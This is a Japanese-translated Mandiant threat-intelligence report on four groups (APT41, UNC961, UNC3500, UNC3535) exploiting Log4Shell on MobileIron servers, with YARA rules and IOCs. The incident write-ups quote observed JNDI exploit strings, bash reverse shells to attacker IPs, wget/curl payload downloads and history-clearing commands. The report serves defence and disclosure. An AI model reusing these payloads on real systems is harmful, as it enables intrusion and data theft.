Forged in Fire: MobileIron Log4Shell エクスプロイトの調査

mobileiron apt41 news

2021 年 12 月 10 日、Apache Software Foundation はCVE-2021-44228 (別名「Log4Shell」) を公開しました。これは、Apache の Log4j バージョン 2.14.1 以前の重大な脆弱性であり、このロギング ライブラリを利用する多数の製品に影響を与えます。

Mandiant は、コンサルティングおよび Managed Defense クライアントを通じて、CVE-2021-44228 を使用して標的にされ、悪用された 4 つの固有のアプリケーションを観察しました。この CVE のリリース直後に注目を集めた製品の 1 つがMobileIron Coreです。 Ivanti が所有するオンプレミスのモバイル デバイス管理ソリューションであり、Ivanti は直ちに脆弱性に対応し、影響を受ける製品を使用している顧客に事前に通知し、24 時間以内にテスト緩和に従うことを推奨しました。概念実証 (PoC) コードは、パッチが適用されていない MobileIron システムの脆弱性を悪用するためにすぐに利用できるようになり、製品を使用するあらゆる組織を標的とするように簡単に変更できます。その結果、いくつかの著名な攻撃者がこの機会に飛びついたことがわかりました。

このブログ投稿では、4 つの固有の攻撃者による MobileIron サーバーの悪用について説明し、各グループの操作と機能に関する洞察を提供します。脆弱な MobileIron サーバーの最初のエクスプロイトは、侵入全体で同じように見えましたが、組織的なクラスタリングとエクスプロイト後のアクションの描写により、おなじみの敵がいくつか明らかになり、この新しく公開されたエクスプロイトをすばやく利用した新しいプレーヤーが明らかになりました。

CVE-2021-44228 全体像

まず、一歩下がって、CVE-2021-44228 のリリース以降の Log4j のターゲット設定を確認しましょう。その最初の開示の日から、Mandiant は、さまざまな顧客に対して大規模なスキャンとエクスプロイトの試みを観察しました。金銭目的の攻撃者は、XMRIG などのクリプトマイナーを展開する機会にすぐに飛びつきました。 Log4Shell のような大規模なエクスプロイト シナリオでは、クリプトマイナーが最初にドロップすることが多いことがわかりました。即時ではありませんが、Mandiant はその後、ランサムウェア攻撃者が CVE-2021-44228 を悪用して標的環境への最初の足がかりを得ることを確認しました。 APT41 など、外国の諜報機関に関連していると広く疑われているグループは、脆弱性の発表から 1 日以内に観察されたため、MobileIron サーバーを悪用することに時間を無駄にしませんでした。

アクターズ

最初の開示以来、CVE-2021-44228 のエクスプロイトに関与する 22 の異なる活動クラスターが観察されました。これらの敵対者は、侵入の悪用後の段階でさまざまなミッションの目的をサポートするために、さまざまなツールと手法を使用しました。表 1 は、複数の組織に対して Log4Shell ベースのキャンペーンを実施した、評価された目標によって分類された 12 のクラスターを示しています。

表 1. CVE-2021-44228 を利用したキャンペーンを実施しているクラスター

評価された動機

脅威グループ

対象業種

スパイ活動

APT41

UNC2448

UNC3500

金融、政府、高等教育、電気通信

金融

UNC961

UNC3007

UNC3543

UNC3569

UNC3581

UNC3594

ビジネス サービス、金融、フード サービス、政府、ヘルスケア、高等教育、メディア、小売、運輸

わからない

UNC3510

UNC3582

UNC3614

ビジネスサービス、金融、フードサービス、政府、高等教育、小売、テクノロジー、テレコム

2021 年 12 月に発生した Log4j スキャン、クリプトマイナー、セキュリティ テスト、および侵入活動のすべてのノイズを通じて、次の 4 つの脅威グループが MobileIron を悪用して、Mandiant によって観測された最も重大な侵入を実行しました

表 2: MobileIron 製品の悪用が確認された主要なグループ

脅威グループ

疑わしい場所

動機

マンディアントアドバンテージ

APT41 中国 スパイ活動 APT41のプロフィール
UNC961 わからない 金銭的利益 UNC961 プロファイル
UNC3500 中国 スパイ活動 UNC3500 プロファイル
UNC3535 わからない わからない なし

Mandiant は、ラベル「UNC」グループ (または「未分類」グループ) を使用して、攻撃者のインフラストラクチャ、ツール、およびトレード クラフトなど、まだ正式な分類を行う準備ができていない観察可能なアーティファクトを含む侵入活動のクラスターを指します。 APT または FIN ( Mandiant が未分類の攻撃者を追跡する方法の詳細をご覧ください)。

前述の各グループの詳細を表 3 に示します。

表 3: 脅威グループの詳細

脅威グループの詳細

mobileiron apt41APT41 Mandiant アドバンテージ プロファイル

 

APT41 は、中国政府が支援するスパイ グループであり、個人的な利益を目的とした金銭目的の活動も行っています。このグループは少なくとも 2012 年から活動しており、官民のさまざまな業界に対してスパイ活動を行ってきました。このグループは、複数のサプライ チェーン侵害を実行して、ソフトウェア会社にアクセスし、更新プログラムを配布する前に正規のファイルに悪意のあるコードを挿入することを可能にしました。 APT41 は、ビデオ ゲーム業界に対しても、金銭目的の侵入や、ソース コードとデジタル証明書の窃盗を行っていました。

 

最近では、APT41 がかなりの時間とリソースを費やして、公開サーバーを標的とする Web エクスプロイトを使用して、米国の州政府機関に対して長期的なキャンペーンを実施しました。 Log4Shell エクスプロイトへの APT41 の参加は、過去 1 年間の活動の論理的な継続です。 APT41 と、米国州政府のコンピューター ネットワークを狙った継続的なキャンペーンの詳細については、最近のブログ投稿を参照してください。 「これは感染しているように見えますか?」: 米国の州政府を標的とした APT41 の概要

モバイルアイアン unc961UNC961 Mandiant アドバンテージ プロファイル

Mandiant は 2018 年 1 月から UNC961 を追跡しており、その活動は 2016 年 11 月にさかのぼることが確認されています。 2020 年半ばから、UNC961 はその標的を北米、北欧、西アジアのヘルスケア、エネルギー、金融取引、およびハイテク組織に拡大しました。既知のすべての活動において、UNC961 は Web エクスプロイトを利用して侵入を開始し、 Atlassian Confluence、 ForgeRock AM 、およびOracle Web Logicサーバーを標的にしました。

モバイルアイアン UNC3500UNC3500 Mandiant アドバンテージ プロファイル

Mandiant は、Log4Shell の公開リリース直後に UNC3500 をクラスタ化しました。 Mandiant は、UNC3500 が中国と関係があると疑っており、教育および電気通信セクターのエンティティを標的にしていることが観察されています。 UNC3500 の Log4Shell 活動と、Mandiant が 2021 年 5 月にクラスター化した一連の疑わしい中国のスパイ活動との間に重複があることを確認しました。これらの重複には、システムへのアクセスを維持するための SoftEther VPN の使用、特定の SoftEther 構成設定、関連するインフラストラクチャ、およびターゲットの重複が含まれます。

モバイルアイアン unc3535Mandiant は、Log4Shell の公開リリース後に UNC3535 をクラスタ化しました。 UNC3535 に関する十分な情報を収集してその主な動機を評価することはできませんでしたが、UNC3535 は運輸部門の組織から機密データを盗み出しました。

モバイルアイアンインパクト

このセクションでは、前述の各攻撃者によって実行された MobileIron ベースの侵入について説明します。

APT41

最も注目すべき侵入の 1 つである APT41 は、この公開エクスプロイトをすばやく利用して、複数の米国州政府機関を含む組織を標的にしました。 APT41 は CVE-2021-44228 を使用して、少なくとも 4 つの組織を標的にしました。中国のスパイ活動の標的にされている APJ 地域に拠点を置く通信会社、米国を拠点とする 1 つの金融組織、および米国の 2 つの州レベルの政府機関です。

APT41 は、脆弱な MobileIron サーバーに対して CVE-2021-44228 を利用して、制御対象のサーバーにリバース シェル ペイロードを送り返しました。このアクセスを使用して、APT41 はユーザー アカウントtomcatのコンテキストでシステム上でコマンドを実行しました。リバース シェル ペイロードの一例を図 1 に示します。

図 1: Base64 でエンコードされたリバース シェル ペイロード
TomcatBypass/Command/Base64/YmFzaCAtaT4mIC9kZXYvdGNwLzEwMy4yNDIuMTMzLjQ4LzgwODUgMD4mMQ==

base64 でエンコードされた文字列は、次のリバース シェル ペイロードにデコードされます (図 2)。

図 2: デコードされたリバース シェル ペイロード
bash -i>& /dev/tcp/103.242.133[.]48/8085 0>&1

Mandiant はまた、攻撃者が制御するホストへのネットワーク接続を検証することと一致するペイロードを観察しました (図 3)。

図 3: APT41 制御のホストへの接続を検証するために観測されたペイロード

ping -c 1 libxqagv.ns.dns3[.]cf

nslookup libxqagv.ns.dns3[.]cf

約 1 時間後、Mandiant は、 eu[.]orgのサブドメインを使用してアウトバウンド ネットワーク接続をテストするさらなる悪用の試みを特定しました (図 4)。

図 4: APT41 がアウトバウンド接続をテストするために利用する Log4Shell エクスプロイト ペイロード

ldap:/198.13.40[.]130:1389/Basic/Dnslog/335b5282.dns.1433.eu[.]org

ldap://198.13.40[.]130:1389/Deserialization/URLDNS/335b5282.dns.1433.eu[.]org

アウトバウンド接続を確認した後、APT41 は CVE-2021-44228 を使用して新しいリバース シェル ペイロードを実行しました (図 5)。

図 5: リバース シェルを成功させる Log4Shell エクスプロイト ペイロード

"s${jndi:ldap://198.13.40[.]130:1389/Deserialization/CommonsBeanutils1/ReverseShell/198.13.40[.]130/2222}"

"s${jndi:ldap://198.13.40[.]130:1389/Basic/ReverseShell/198.13.40[.]130/2222}"

APT41 がリバース シェルを確立すると、 wgetを利用してペイロードをダウンロードし、MobileIron サーバーにステージングします (図 6)。

図 6: リモートでホストされているバイナリをダウンロードするように設計された wget コマンド
wget http://103.224.80[.]44:8080/kernel

Mandiant は、カーネルファイルが KEYPLUG の ELF バリアントであると判断し、現在は KEYPLUG.LINUX として追跡されています。攻撃者は、コマンド アンド コントロールのために、ドメインmicrosoftfile[.]comに接続するようにサンプルを構成しました。アクティビティの時点で、ドメインは IP アドレス103.224.80[.]44に解決されました。また、APT41 はバイナリのパーミッションを変更して、すべてのユーザーに完全な読み取り/書き込み/実行パーミッションを付与しました (図 7)。

図 7: バイナリを誰でも読み取り可能、書き込み可能、実行可能に設定する chmod コマンド
chmod 777 kernel

最後に、APT41 は活動を隠蔽するためにいくつかの手段を講じました。 KEYPLUG.LINUXバイナリの名前を に変更しました。カーネルを隠しファイル属性でファイルを非表示にしてから、nohup ユーティリティを利用して、プロセスが実行され続け、ハングアップを無視するようにしました。また、APT41 は&演算子を利用して、バックグラウンド プロセスとしてバイナリを実行しました (図 8)。

図8:APT41がKEYPLUG.LINUXを実行するために利用するコマンド
nohup ./.kernel &

Mandiant Managed Defense のこの侵入の迅速な検出と封じ込めは、最も高度で多作なスパイ行為者に対してもその価値があることを再び証明しました。しかし、 APT41 の最新のキャンペーンに関する最近リリースされたブログ投稿で述べたように、このグループは 2020 年 9 月の米国司法省 (DOJ) の起訴にとらわれず、脆弱な米国の州に焦点を当てて、かつてないペースで活動を続けています。および地方自治体のネットワーク。 Mandiant は、既存の機能をツールキットに統合しながら、グループが進化し続け、独自の攻撃ベクトルを開発することを期待しています。

UNC961

UNC961 は、Mandiant が 2018 年から追跡している金銭目的の疑いのある脅威グループです。彼らは、一般にアクセス可能な MobileIron サーバーを持つ組織を標的にすることで、CVE-2021-44228 を悪用する機会をつかみました。 UNC961 は、初期アクセスのために Web アプリケーションに対するエクスプロイトを排他的に使用しているように見えることで注目に値します。

ある標的で、Mandiant は UNC961 が CVE-2021-44228 ペイロードを使用してリバース シェルを確立することを確認しました。このペイロードは、 HISTFILE環境変数の設定を解除して、コマンド ラインの履歴がディスクに書き込まれないようにすることでフォレンジック分析を阻止するように細工されています。

図 9: Log4Shell エクスプロイト ペイロード
{"connectedCloudName":"","logType":"userAction","version":1,"loggedAt":163950
1069210,"actionAt":1639501069210,"device":null,"actor":null,"configuration":n
ull,"updatedBlob":null,"certificateDetails":null,"message":null,"spaceName":n
ull,"spacePath":null,"actionType":"USER_PORTAL_SIGN_IN","requestedAt":1639501
069210,"completedAt":1639501069210,"reason":"Sign In
Failed","status":"Failed","objectId":null,"objectType":null,"objectName":null
,"subjectId":null,"subjectType":"User Portal","subjectName":"User Portal -
10.240.191.26","subjectOwnerName":null,"requesterName":"${jnd${AvmMzY:qv:FCGW
U:XTWCd:-i}: ${jnd${CSQNpd:dM:-i}${ARhXC:-:}ldap${rt:NeMA:bbLAHm:Cku:MMHDE:-
:}//107.181.187.184:389/TomcatBypass/Command/Base64/dW5zZXQgSElTVEZJTEU7IGJhc
2ggLWkgPiYgL2Rldi90Y3AvMTA3LjE4MS4xODcuMTg0LzQyNDIgMD4mMQ==
}","updateRequestI
d":null,"userInRole":null,"parentId":null,"cookie":null}

図 10 は、解読されたエクスプロイト文字列を示しています。

図 10: 難読化解除された URL
${jndi:ldap://107.181.187.184:389/TomcatBypass/Command/Base64/dW5zZXQgSElTVE
ZJTEU7IGJhc2ggLWkgPiYgL2Rldi90Y3AvMTA3LjE4MS4xODcuMTg0LzQyNDIgMD4mMQ==}

図 11 に示すデコードされたコマンドは、コマンドラインのログ記録を削除し、リバース シェル ペイロードを実行しました。

図 11: 完全にデコードされたコマンド
unset HISTFILE; bash -i >& /dev/tcp/107.181.187.184/4242 0>&1

UNC961 は一般的に、Linux ベースの侵入で、この Log4Shell のようなエクスプロイト ペイロードのコンポーネントとして、またはハンズオン キーボードによるエクスプロイト後の段階で、このアンチフォレンジック手法を採用しています。最初の足場に続いて、彼らはホストベースの偵察を行い、翌日、HOLEPUNCH トンネラーを展開しました。 HOLEPUNCH は、SOCKS5 スタイルのコマンドを使用してコマンド アンド コントロール (C2) サーバーへの接続を多重化する Windows および UNIX のソース互換ユーティリティです。

UNC961 は、MobileIron サーバーを標的にするだけでなく、Log4Shell キャンペーン中に別の被害者に属する VMWare Horizon サーバーも悪用したことは注目に値します。 Horizon Server のエクスプロイトに続いて、UNC961 はこれまで観測されていなかった 2 つのバックドア、HOLEDOOR と DARKDOOR を展開しました。 HOLEDOOR は C で書かれていますが、DARKDOOR は Go で書かれています。 UNC961 はこれらのバックドアを使用して被害者の環境で偵察を行い、以前に VMware Horizon サーバーにログインしたユーザーの資格情報を盗みました。さらに、UNC961は組み込みの Windows ツールreg.exeを使用してSAM SECURITY 、およびSYSTEMレジストリ ハイブの内容をエクスポートしました。次に、UNC961 は PSCP ユーティリティを使用して、エクスポートされたレジストリ データをインフラストラクチャに流出させました。

UNC3500

Apache の最初の発表から 1 日後、UNC3500 は北米の教育機関を標的にする機会に飛びつきました。 Log4Shell エクスプロイトの武器化に成功した UNC3500 は、MobileIron サーバーでリバース シェルを起動しました。最初のホスト偵察を行った後、攻撃者は比較的ユニークな方法で持続性を達成しました。組み込みのcurlコマンドを使用して、UNC3500 は 3 つのファイルをダウンロードし、1 つのファイルの権限を変更して、別のファイルを新しいプロセスとして起動しました (図 12)。

図 12: リバース シェル ペイロードから UNC3500 によって実行されるコマンド

curl hxxp://35.189.145[.]119/hamcore.se2 > /mi/pki/mics/log/hamcore.se2

curl hxxp://35.189.145[.]119/https > /mi/pki/mics/log/https

curl hxxp://35.189.145[.]119/vpn_bridge.config > /mi/pki/mics/log/vpn_bridge.config

chmod a+x /mi/pki/mics/log/https

/mi/pki/mics/log/https start

ファイルのhttps (MD5: 00352d167c44272dba415c36867a8125) とhamcore.se2 (MD5: 9fb1191ba0064d317a883677ce568023) は、SoftEther の VPN サーバー ブリッジである PacketiX のコンポーネントです。 PacketiX VPN Bridgeは、ローカル システム上の物理ネットワーク アダプターとリモートの SoftEther VPN サーバーの間にレイヤー 2 接続を作成します。付属のライブラリ ファイルhamcore.se2と構成ファイルvpn_bridge.configが必要ですこのパッケージを展開することで、UNC3500 は侵害された MobileIron サーバーで持続性を確立しました。

UNC3500 は、最初に VPN を確立するのに苦労したようです。彼らはvpn_bridge.configファイルを 1 回ではなく 4 回ダウンロードし、それぞれに小さな変更を加えました。表 4 は、これらのファイルから独自に構成された 3 つの C2 サーバーを示しています。

表 4: UNC3500 によってダウンロードされる固有の SoftEther VPN 構成

構成 #1

構成 #2

構成 #3

45.76.98.184:53

vpn599147072.softether.net:53

45.76.98.184:443

UNC3500 は、VPN ログ ファイルを調べping route curlコマンドを実行して、接続の問題をトラブルシューティングする必要がありました (図 13)。

図 13: UNC3500 が実行した VPN のトラブルシューティング手順

curl http://35.189.145.119/vpn_bridge.config > /mi/pki/mics/log/vpn_bridge.config

/mi/pki/mics/log/https start

ls /mi/pki/mics/log/

ls /mi/pki/mics/log/server_log

cat /mi/pki/mics/log/server_log/vpn_20211210.log

/mi/pki/mics/log/https stop

ping -c 2 8.8.8[.]8

route

curl http://45.76.98[.]184:33221

curl http://34.92.40[.]189:33221

curl http://34.92.40[.]189:443

curl http://34.92.40[.]189:443

ls

UNC3500 は最終構成ファイルを使用して、 45.76.98[.]184でホストされている SoftEther サーバーとの VPN 接続をポート 443 経由で確立し、一意の証明書とキーの組み合わせを使用しました。 UNC3500 は、コマンドhistory –cを使用して bash 履歴をクリアすることで、追跡を隠しました

これらの構成ファイルの分析により、このグループが通信業界の組織を標的とした以前の侵入と重複することが特定されました。これらの以前のホストへの侵入の間、Mandiant は UNC3500 が主に Windows 組み込みコマンドまたは PSEXEC を使用して偵察活動に従事し、MODKATZ を使用して資格情報の収集を実行し、BEHINDER および CHOPPER Web シェルを展開することを観察しました。

UNC3535

最後に、Mandiant は、MobileIron エクスプロイト アクティビティの別のユニークなセットを UNC3535 としてクラスター化しました。 Mandiant は、UNC3535 が CVE-2021-44228 を使用してリバース シェルを展開し、それらのアクセスを使用して MobileIron の機密データを収集および抽出することを確認しました。

他の Log4Shell エクスプロイトと同様に、攻撃者は base64 でエンコードされた文字列を使用しました (図 14)。

図 14: Base64 でエンコードされた Log4Shell エクスプロイト ペイロード
${jndi:ldap://187.109.15[.]2:9126/TomcatBypass/Command/Base64/ YmFzaCAgLWkgPiYgL2Rldi90Y3AvMTg3LjEwOS4xNS4yLzQ0MyAwPiYx}

図 14 の base64 でエンコードされた文字列は、図 15 にデコードされます。

図 15: デコードされたリバース シェル ペイロード
bash -i >& /dev/tcp/187.109.15[.]2/443 0>&1

このコマンドは、指定された外部サーバーへの bash リバース シェルを確立しようとしました。その後の 30 分間で、IP アドレス187.109.15[.]2:443への 6 つの接続が開始されました。

最初のリバース シェルを起動してから約 21 分後、攻撃者は次のHTTP GETリクエストを MobileIron サーバーに発行しました。

図 16: UNC3535 によって発行された HTTP GET 要求
GET /mifs/images/wtower_in.png HTTP/1.1" 154515764 "-" "Wget/1.20.3 (linux-gnu)

キャプチャされたネットワーク トラフィックの最初の分析により、このファイルには約 154MB のデータが含まれていることが判明しました。

このGETリクエストから10 分後、攻撃者はディレクトリ/mi/tomcat/webapps/mifs/images を変更しました。分析の時点で、このディレクトリ内のファイルは、最終変更 ( mtime ) タイムスタンプに近い日付ではありませんでした。この証拠は、ファイル (おそらくwtower_in.png ) がディレクトリから削除されたことと一致しています。 Mandiant は、サーバー ディスク イメージのフォレンジック分析を実行し、ファイルが上書きされているため、復元できないことを発見しました。しかし、Mandiant は、攻撃者がHTTP GETリクエストの 5 分前に MobileIron の「MIFS」データベースをダンプしたという証拠を発見しましたMIFS データベースには、デバイス情報、パスワード履歴、およびデバイス管理に必要なその他のデータを含む機密データが含まれています。

ディスク イメージの空き領域にはMySQLデータベース ダンプを示す文字列も見つかりました。

-- MySQL dump 10.13 Distrib 5.7.31, for Linux (x86_64)

--

-- Host: localhost Database:

-- ------------------------------------------------------

-- Server version 5.7...NOTES=0 */;

--

-- Current Database: `mifs`

SET SQL_NOTES=@OLD_SQL_NOTES */;

-- Dump completed on 2021-12-16 17:36:23

この侵入操作が発生した速度は、脅威アクターが MobileIron エコシステムについて既存の知識を持っていることを示しています。標的となる機密データを特定、アーカイブ、およびステージングするための迅速なアクションにより、データの盗難が成功しました。

結論

2021 年 12 月中旬に Log4Shell がリリースされたことで、ゼロデイ脆弱性の悪用が 記録された最悪の年が終わりました。 Log4Shell の場合のように、脆弱性が開示されてから数時間以内に PoC が利用可能になり、入念かつ積極的な資産およびパッチ管理の必要性が高まるため、この傾向は続くと予想されます。

未知の数のアプリケーションに Apache Log4j が統合されているため、パッチが適用されていないシステムでは、あらゆるカテゴリの攻撃者が近い将来、CVE-2021-44228 を悪用し続けるでしょう。 Ivanti と Mandiant は、組織がこの問題を悪用することを目的とした攻撃から身を守るために、組織の環境でこの脆弱性にパッチを適用することを強く推奨します。 Mandiantの Attack Surface Managementプラットフォームを活用することで、組織は環境内の脆弱な Log4j インスタンスをより適切に特定できます。

検出

rule APT_Backdoor_KEYPLUG_MultiXOR_Config

{

    meta:

        author = "Mandiant"

        description = "Matches KEYPLUG XOR-encoded configurations. Locates multiple values of: TCP://, UDP://, WSS://, +http and their pipe-delimited variant: |TCP://, |UDP://, |WSS://, |+http. Requires at least one instance of 00| in the encoded configuration which corresponds to the sleep value. Removed instances where double-NULLs were present in the generated strings to reduce false positives."

    strings:

        // TCP

        $tcp1   = "TCP://"  xor(0x01-0x2E)

        $tcp2   = "TCP://"  xor(0x30-0xFF)

        $ptcp1 = "|TCP://" xor(0x01-0x2E)

        $ptcp2 = "|TCP://" xor(0x30-0xFF)

        // UDP

        $udp1   = "UDP://"  xor(0x01-0x2E)

        $udp2   = "UDP://"  xor(0x30-0xFF)

        $pudp1 = "|UDP://" xor(0x01-0x2E)

        $pudp2 = "|UDP://" xor(0x30-0xFF)

        // WSS

        $wss1   = "WSS://"  xor(0x01-0x2E)

        $wss2   = "WSS://"  xor(0x30-0x52)

        $wss3   = "WSS://"  xor(0x54-0xFF)

        $pwss1 = "|WSS://" xor(0x01-0x2E)

        $pwss2 = "|WSS://" xor(0x30-0x52)

        $pwss 3 = "|WSS://" xor(0x54-0xFF)

        // HTTP

        $http1 = "+http"   xor(0x01-0x73)

        $http2 = "+http"   xor(0x75-0xFF)

        $phttp1 = "|+http"  xor(0x01-0x73)

        $phttp2 = "|+http"  xor(0x75-0xFF)

        // Sleep value

        $zeros1 = "00|"     xor(0x01-0x2F)

        $zeros2 = "00|"     xor(0x31-0xFF)

    condition:

        filesize < 10MB and

        (uint32(0) == 0x464c457f or (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550)) and

        for any of ($tcp*,$udp*,$wss*,$http*): (# == 2 and @[2] - @[1] < 200) and

        for any of ($ptcp*,$pudp*,$pwss*,$phttp*): (# == 1) and

        any of ($zeros*)

}

import "pe"

rule APT_Tunneler_Linux_HOLEPUNCH_1

{

meta:

author = Mandiant

strings:

$sb1 = { 83 [2] 00 [2-16] 83 [2] 00 [2-16] E8 [4-5] 89 45 [1-2] 83 [2] 00 [4-32] E8 [4] 80 [2] 00 [2-8] C7 45 ?? 00 00 00 00 [0-32] 8B [2-3] 8B [2-3] 01 [1-8] 8B [2-3] 8B [2-3] 01 [1-8] 83 [2-8] 88 [1-2] 83 [2] 01 }

$sb2 = { 89 [2] 8B [2-3] 89 [1-16] ( E8 | FF ) [4-64] ( E8 | FF ) [4-32] 3C 01 7? [4-80] 0A 00 00 00 [4-64] 0F B6 [2] 3C 02 }

condition:

(uint32(0) == 0x464c457f) and all of them

}

import "pe"

rule APT_Tunneler_Linux_HOLEPUNCH_2

{

    meta:

        author = Mandiant

    strings:

        $n1 = "x00Can`t create new processx00"

        $ss1 = "process_data_from_tunnel" fullword

        $ss2 = "chunk_put" fullword

        $ss3 = "update_tunnel_descriptors" fullword

        $ss4 = "SendToTunnel" fullword

        $ss5 = "SendToTunnelSocks5Answer" fullword

        $ss6 = "socks5_process_data" fullword

    condition:

        (uint32(0) == 0x464c457f) and (all of ($s*)) and not $n1

}

Mandiant のセキュリティ検証アクション

組織は、 Mandiant Security Validationで次のアクションを使用して、セキュリティ コントロールを検証できます。

VID

名前

A102-206

アプリケーションの脆弱性 – CVE-2021-44228、HTTP GET、User-Agent 経由の DNS コールバック

A102-207

アプリケーションの脆弱性 – CVE-2021-44228、HTTP GET、Referer 経由の LDAP コールバック

A102-208

アプリケーションの脆弱性 – CVE-2021-44228、HTTP GET、URI パス経由の LDAP コールバック

A102-209

アプリケーションの脆弱性 – CVE-2021-44228、HTTP GET、User-Agent 経由の LDAP コールバック

A102-210

アプリケーションの脆弱性 – CVE-2021-44228、HTTP GET、User-Agent 経由の LDAP コールバック、Base64 バリアント #1

A102-211

アプリケーションの脆弱性 – CVE-2021-44228、HTTP GET、ユーザーエージェント経由の LDAP コールバック、環境変数のバリアント #1

A102-212

アプリケーションの脆弱性 – CVE-2021-44228、HTTP GET、ユーザーエージェント経由の LDAP コールバック、環境変数のバリアント #2

A102-213

アプリケーションの脆弱性 – CVE-2021-44228、HTTP GET、ユーザーエージェント経由の LDAP コールバック、難読化されたバリアント #1

A102-214

アプリケーションの脆弱性 – CVE-2021-44228、HTTP GET、ユーザーエージェント経由の LDAP コールバック、難読化されたバリアント #2

A102-215

アプリケーションの脆弱性 – CVE-2021-44228、HTTP GET、User-Agent 経由の LDAPS コールバック

A102-216

アプリケーションの脆弱性 – CVE-2021-44228、HTTP GET、ユーザー エージェント経由の RMI コールバック

A102-217

アプリケーションの脆弱性 – CVE-2021-44228、HTTP POST、ユーザー名による DNS コールバック

A102-218

アプリケーションの脆弱性 – CVE-2021-44228、HTTP POST、ユーザー名による LDAP コールバック

A102-219

アプリケーションの脆弱性 – CVE-2021-44228、HTTP POST、ユーザー名による LDAPS コールバック

A102-220

アプリケーションの脆弱性 – CVE-2021-44228、HTTP POST、ユーザー名による RMI コールバック

A102-221

アプリケーションの脆弱性 – CVE-2021-44228、HTTPS GET、User-Agent 経由の DNS コールバック

A102-222

アプリケーションの脆弱性 – CVE-2021-44228、HTTPS GET、ユーザーエージェント経由の LDAP コールバック

A102-223

アプリケーションの脆弱性 – CVE-2021-44228、HTTPS GET、User-Agent 経由の LDAPS コールバック

A102-224

アプリケーションの脆弱性 – CVE-2021-44228、HTTPS GET、ユーザー エージェント経由の RMI コールバック

A102-225

アプリケーションの脆弱性 – CVE-2021-44228、HTTPS POST、ユーザー名による DNS コールバック

A102-226

アプリケーションの脆弱性 – CVE-2021-44228、HTTPS POST、ユーザー名による LDAP コールバック

A102-227

アプリケーションの脆弱性 – CVE-2021-44228、HTTPS POST、ユーザー名による LDAPS コールバック

A102-228

アプリケーションの脆弱性 – CVE-2021-44228、HTTPS POST、ユーザー名による RMI コールバック

S100-170

評価 CVE-2021-44228、log4j、ネットワーク アクション

コードファミリーの定義

キープラグ.LINUX

KEYPLUG.LINUXは C++ で記述された Linux バックドアで、TCP over UDP または TCP 経由で通信できます。そのコア機能には、ハードコードされた C2 サーバーからプラグインをダウンロードして機能を拡張することが含まれます。プラグインはメモリに直接マップされ、実行されます。

穴あけ器

HOLEPUNCHは、Windows および UNIX ソース互換のトンネラー ユーティリティであり、カスタムの外部構造にラップされた SOCKS5 スタイルのコマンドを使用して、C2 サーバーへの接続を多重化します。プログラムは、転送されたデータ チャンクに XOR ハードコードされた値を適用する場合があります。 HOLEPUNCH によって受信された SOCKS5 コマンドにより、オペレーターによって指定されたホストまたは IP アドレスへの新しい接続が開始され、リモート システムとのデータ転送が開始されます。

ホールドア

HOLEDOORは、C で記述され、TCP 経由で通信する 64 ビット Windows バックドアです。 cmd.exe を介してコマンドを実行するリバース シェルを生成できます。新しいシェルを生成したり、現在実行中のシェルを切断したり、アプリケーション全体を終了したりするためのいくつかの基本的なコマンドをサポートしています。

ダークドア

DARKDOORは Go で記述されたバックドアで、設計が高度にモジュール化されています。 TLS および HTTP を介した通信をサポートします。任意のコードを実行し、実行中のプロセスを一覧表示する機能があります。

IOC

タイプ

価値

APT

マルウェア/ツール

MD5

f4dd330ff093e69a181854eccaa2432c

UNC961

ホールラン

MD5

31c49b87463f4e4ce6ae4c442319d3a2

UNC961

ホリドール

ドメイン

111111.note.down-flash[.]com

APT41

Log4jエクスプロイト

ドメイン

2f2640fb.dns.1433[.]eu[.]org

APT41

Log4jエクスプロイト

ドメイン

335b5282.dns.1433[.]eu[.]org

APT41

Log4jエクスプロイト

ドメイン

63fac511.dns.1433[.]eu[.]org

UNC3500

Log4jエクスプロイト

ドメイン

d5922235.dns.1433[.]eu[.]org

APT41

Log4jエクスプロイト

ドメイン

e1cc4a4b.dns.1433[.]eu[.]org

UNC3500

Log4jエクスプロイト

ドメイン

microsoftfile[.]com

APT41

キープラグ.LINUX

知財

34.102.54[.]152

UNC961

ホールドア

知財

35.189.145[.]119

UNC3500

リバース シェル

知財

45.61.136[.]188

UNC961

リバース シェル

知財

45.76.98[.]184

UNC3500

VPN

知財

54.237.46[.]129

UNC3535

Log4jエクスプロイト

知財

103.224.80[.]44

APT41

キープラグ.LINUX

知財

103.238.225[.]37

APT41

Log4jエクスプロイト

知財

103.242.133[.]48

APT41

キープラグ.LINUX

知財

107.181.187[.]184

UNC961

Log4jエクスプロイト

知財

149.28.71[.]70

UNC961

穴あけ器

知財

149.28.200[.]140

UNC961

様々

知財

154.204.58[.]135

APT41

Log4jエクスプロイト

知財

154.204.58[.]145

APT41

Log4jエクスプロイト

知財

162.33.178[.]149

UNC961

ダークドア

知財

182.239.92[.]31

APT41

Log4jエクスプロイト

知財

185.172.129[.]215

UNC961

ウェブシェル

知財

187.109.15[.]2

UNC3535

リバース シェル

知財

195.149.87[.]87

UNC961

ダークドア

知財

203.160.86[.]92

UNC3500

リバース シェル

謝辞

世界中の Managed Defense および Incident Response チームのすべての Mandiant アナリストおよびコンサルタント、Advanced Practices および Mandiant Intelligence のアナリストおよび研究者、FLARE リバース エンジニア、および CVE-2021-44228 のフォールアウト中に行われた記念碑的な取り組みに関与したすべての人開示。

また、このブログのリリースに協力し、この前例のない脆弱性に迅速に対応してくれた Ivanti にも感謝します。

参照: https://www.mandiant.com/resources/blog/mobileiron-log4shell-exploitation

Comments

Copied title and URL